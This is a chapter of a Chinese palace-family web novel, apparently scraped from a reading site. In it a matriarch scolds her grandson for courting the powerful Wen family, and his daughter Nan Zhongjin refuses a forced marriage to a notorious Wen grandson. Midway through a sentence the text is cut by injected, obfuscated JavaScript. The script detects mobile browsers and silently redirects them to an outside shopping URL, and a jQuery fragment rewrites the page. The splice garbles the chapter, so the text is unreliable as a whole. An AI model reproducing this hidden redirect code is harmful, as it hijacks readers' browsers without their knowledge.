“瑶丫头做错了事情,该罚便罚,该认错便认错,坦坦荡荡才是南家子孙该有的模样,而非在这里哭闹撒泼,迁怒他人!”
南秉谦抿了抿唇,心里的委屈更甚,语气带着几分不甘:“祖母,孙儿何尝不想让孩子们品行端正?可您看看现在的南家!早已不是当年的模样了!”
他的声音不自觉提高了些,眼底翻涌着压抑多年的苦闷。
“祖父当年奉命收拾诚王与姜家留下的烂摊子,所谓去西北剿匪,可结果呢?被伪装的盗匪暗害,连尸骨都差点找不回来。”
“父亲母亲被陛下派去驻守边疆,说是为国效力,实则是变相流放,最后战死沙场,尸骨无存!家里的男丁凋零,能撑起门户的人越来越少,势力大不如前,若不依附温家这朝堂第一势力,南家迟早会彻底败落,沦为旁人的笑柄!”
他说着,情绪愈发激动,胸膛剧烈起伏:“孙儿这么做,都是为了南家!温家势大,与他们合作,才能为南家谋得一线生机,才能让孩子们有更好的出路,这有什么错?”
太老夫人静静听着他说完,脸上没有丝毫波澜,只是眼底的失望愈发浓重。她缓缓抬起手,扶了扶鬓边的墨玉簪,动作缓慢却带着千钧之力。
“秉谦啊,你以为,南家能传承百年,靠的是依附权贵吗?”
她的声音不高,却清晰地传入每个人的耳中。
“我父亲,你的曾祖父,当年随着开国高祖皇帝四处征战,立下赫赫战功,被封为靖勇大将军。”
“你祖父,靠一身肝胆,承袭靖勇大将军称号,跟随先帝南征北战,硬生生挣下了敬国公的爵位。”
“而你父亲和叔伯们,少年时便投身军营,镇守边疆数十载,从未有过一丝懈怠,为大熙守住了边境的安宁。还有你母亲,虽是女子,却自幼习得一身好武艺,随你父亲奔赴沙场,在数次鏖战中扭转战局,与你父亲并肩而立,一同成了大熙边境最坚实的柱石!”
“秉谦啊,我失去了父亲,丈夫,和三个儿子,才换得这一身荣耀。”
太老夫人忽然叹口气,语气格外沉重:“南家的殊荣,是靠一代代人抛头颅,洒热血,用忠烈和风骨换来的!而不是依附他人,苟且偷生。”
她的目光扫过厅内的陈设,眼神悠远,仿佛看到了南家当年的荣光。
“我嫁来南家的时候,你祖父才始封敬国公,可那时的南家,上下一心,正直坦荡,就连宫里的贵人们都得赞一句‘南家有风骨’。如今南家是衰败了,可风骨不能丢!”
“那温成业是什么货色?当年你祖父,和你父母亲的死,哪件离得了他的算计?你如今为了所谓的振兴南家,竟要攀附杀亲仇人,纵容子女失德,你对得起地下的列祖列宗吗?”
“祖母,可……”
南秉谦还想辩解,却被太老夫人冷冷地打断。
“没有可是。锦丫头是南家的嫡长女,玉容当年嫁入南家,带来的不仅是赵家的势力,还有她的贤良淑德。”
“她在世时,待你掏心掏肺,待府里上下宽厚仁慈,你就是这样回报她的?纵容继室苛待她的女儿,你问问你的心,都偏到哪里去了?南秉谦,你的良心何在?”
周佩音就坐在一旁,手指头绞着帕子的力道几要将布料扯碎,满室的沉默压得人喘不过气来。
太老夫人却没再看她半眼,扶着丫鬟的手缓缓起身,眼尾扫过南重锦与南重舒:“锦丫头,舒丫头,随我来暖阁坐坐。”
几人越过回廊,绕过栽着腊梅的影壁,进了后院僻静的暖阁,暖阁炭火烧得正旺,驱散了冬月的寒气。
太老夫人看向南重锦,目光刚落在她身上,便顿住了。
虽然她刻意拢着左臂衣袖,却仍隐约透着一丝暗红,袖口的布料还带着点僵硬的湿意。她抬手示意丫鬟退下,伸手轻轻撩开南重锦的衣袖,只见粗布绷带下,隐约能看到渗出来的血渍,绷带边缘还沾着些尘土。
“这是怎么了?”
太老夫人的声音瞬间沉了下来,带着难掩的心疼,枯瘦的手轻轻拂过绷带:“宫宴上遭了难?”
南重锦下意识往后缩了缩胳膊,垂下眼帘,语气尽量轻松:“不打紧的太祖母,就是不小心被侍卫的刀鞘蹭了下,小伤而已,已经包扎过了。”
太老夫人定定看了她半晌,浑浊的眼眸里满是了然与懊悔,轻轻叹了口气。
“傻孩子,都伤成这样了还说不打紧。”
她抬手拍了拍自己的膝盖,语气里带着自责:“那时我还特意赶过去为你解围,对着太子和兴王说了那么多话,竟没留意你受了伤,连问都没问一句。现在想想,真是老糊涂了,疏忽了你……”
南重锦鼻尖一酸,连忙摇头:“太祖母您别这么说,那天若不是您出面,我指不定要遭多少刁难。这点小伤算不得什么,您能护着我,阿锦已经很感激了。”
太老夫人握着她的手紧了紧,掌心的温度带着岁月的粗糙:“你这孩子,向来报喜不报忧。但你要记住,不管发生什么事,太祖母都是你的后台。谁敢苛待你,算计你,便是与太祖母作对,与南家的列祖列宗作对!”
南重锦重重地点了点头,却笑得释然:“阿锦知道了。”
太老夫人这才放缓神色,语气柔和了许多:“锦丫头,你可能不知。你母亲与雍家交好,雍家老太爷是陛下的老师,却因反对陛下处置诚王与姜家,被罢官撵回樨陵。
“你母亲后来身子不好,也是雍家姑小姐雍毓贞一直照料,如今雍家人已经进京,你与他们也可多问候问候。”
南重锦心里一动,又点了点头:“阿锦知道的,谢太祖母提点。”
太老夫人又看向南重舒,眼睛里漾着笑:“舒丫头,你是个聪明孩子,只是太胆小了。往后别怕,有我和你锦姐姐在,没人能欺负你。”
“你母亲忽略你,是她的损失,你要好好活着,多读书,多学本事,活出自己的样子,不用看任何人的脸色。”
南重舒的眼泪终于忍不住掉了下来,重重地点了点头,声音带着哽咽:“谢,谢谢太祖母……”
几人拉着手,一时说了很多,直至夜色更深,南重锦握着南重舒的手,送太老夫人回院后,正要返回住处,却见仆从匆匆走来,对南重锦躬身。
“锦姑娘,老爷说还有要事与您商议,让您去书房一趟,务必现在就去。”
南重锦心头一沉,方才正厅的事已了,父亲此刻单独叫她去书房,绝非小事。
她转头对南重舒道:“你先回房,早些休息,不用等我。路上小心些,别冻着。”
南重舒担忧地看着她:“姐姐,要不要我……”
“不用,”南重锦摇了摇头,“我去去就回。”
她跟着小厮走向书房,廊下的灯笼光影交错,将她的影子拉得忽长忽短,像她此刻起伏不定的心。
走到书房门口,就听见里面传来南秉谦与周佩音说话的声音,声音压得很低,却依稀也能听清。
周佩音的语气带着难以掩饰的得意:“老爷,温相那边已经松口了,只要锦丫头嫁过去,温家就答应扶持书承那孩子入仕,咱们南家也能更上一层楼。”
南秉谦的声音带着一丝犹豫,却更多的是被“振兴南家”四个字蛊惑的贪婪。
“可锦丫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278853|198326||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头性子倔,怕是不会同意……她方才在正厅的态度,你也看见了。”
“不同意也得同意!”周佩音的声音陡然拔高,又很快压低,带着一丝狠厉。
“她一个手残脚跛的,能嫁给温相的孙子温子昂,是她的福气!温公子虽然爱玩些,可家世摆在那里,将来也是要承袭爵位的,她还有什么不满足的?”
“再说了,这是温相亲自提的亲,多大的脸面,朝堂上下,艳羡得人多了!”
南秉谦沉默片刻,语气也坚定了几分:“你说得对。南家如今人丁单薄,早已不是往日模样,只有依附温家,才能重振门楣。锦丫头是南家的女儿,为南家牺牲是应该的,我做这一切,都是为了南家!”
南重锦的脚步顿在门口。
温相的孙子,温子昂?
这厮莫说在京城,即便是周围几个县府,也都如雷贯耳。吃喝嫖赌样样俱全,性情暴戾,举止粗鲁,去年还因为奸杀了一个貌美妇人,闹得沸沸扬扬,最后还是温成业亲自出面压下了此事。
这样一个声名狼藉的人,父亲和周佩音,就敢应了他们的婚事?而理由,竟然是所谓的“为了南家”!
她深吸一口气,压下心底翻涌的怒火与寒意,推门而入:“我不同意。”
书房内的两人猛地回头,尚还来不及掩饰脸上的算计。
南重锦目光平静地扫过二人:“父亲方才说的话,我都听见了。想让我嫁给温子昂,我不同意。”
“此事由不得你。”
南秉谦拍怒斥,语气强硬:“温家势大,这门亲事对南家,对你都好!南家如今人丁单薄,早已不是往日模样,只有依附温家才能重振门楣,我做这一切都是为了南家。你是南家的嫡长女,理应为南家的兴衰荣辱着想。”
“为了南家?”
南重锦冷笑一声,眼神里满是讥讽:“让我嫁给一个奸杀妇人,声名狼藉的纨绔子弟,就是为了南家?”
“父亲,你不过是想拿我换官做,依附温家往上爬罢了。南家的荣耀,从来不是靠牺牲女儿的幸福换来的!太祖父和祖父若是泉下有知,定会为你的所作所为感到羞耻!”
“你放肆!”
南秉谦气得脸色铁青,指着南重锦,半天说不出一句完整的话。
“父母之命,媒妁之言,婚姻大事本就由不得你任性。温相已经发了话,这门亲事成也得成,不成也得成!你若是识相,就乖乖答应,日后还能做个风光的温家少夫人,若是不识抬举,休怪我对你不客气!”
周佩音走上前,假惺惺地想去拉南重锦的手,被南重锦侧身避开。
她脸上的笑容僵了僵,随即沉了下来,语气刻薄:“锦丫头,别给脸不要脸。你以为凭你这残缺的身子,还能嫁个更好的?温家肯要你,是给你脸,是给南家脸!你若不识抬举,不仅你没有好下场,整个南家都要跟着你倒霉!”
南重锦看着他们丑恶的嘴脸,心头寒意彻骨。
她想起母亲临终前担忧的眼神,想起太祖母的教诲,想起自己两世的遭遇,眼神愈发坚定。
“想让我嫁去温家,除非我死。”
“你!”周佩音气得浑身发抖,转头又对着南秉谦纠缠,“老爷,你看看她!真是被祖母惯坏了,明日我亲自去她院里,带着温家的人一起去,我就不信她还敢犟!”
南秉谦沉着脸:“也好,此事不能拖延,务必让她点头。南家的未来,不能毁在她手里。”
南重锦不再多言,转身就走。
即便面前是她所谓的父亲母亲,她也不想再看他们装腔作势的脸,不想再听他们冠冕堂皇的借口。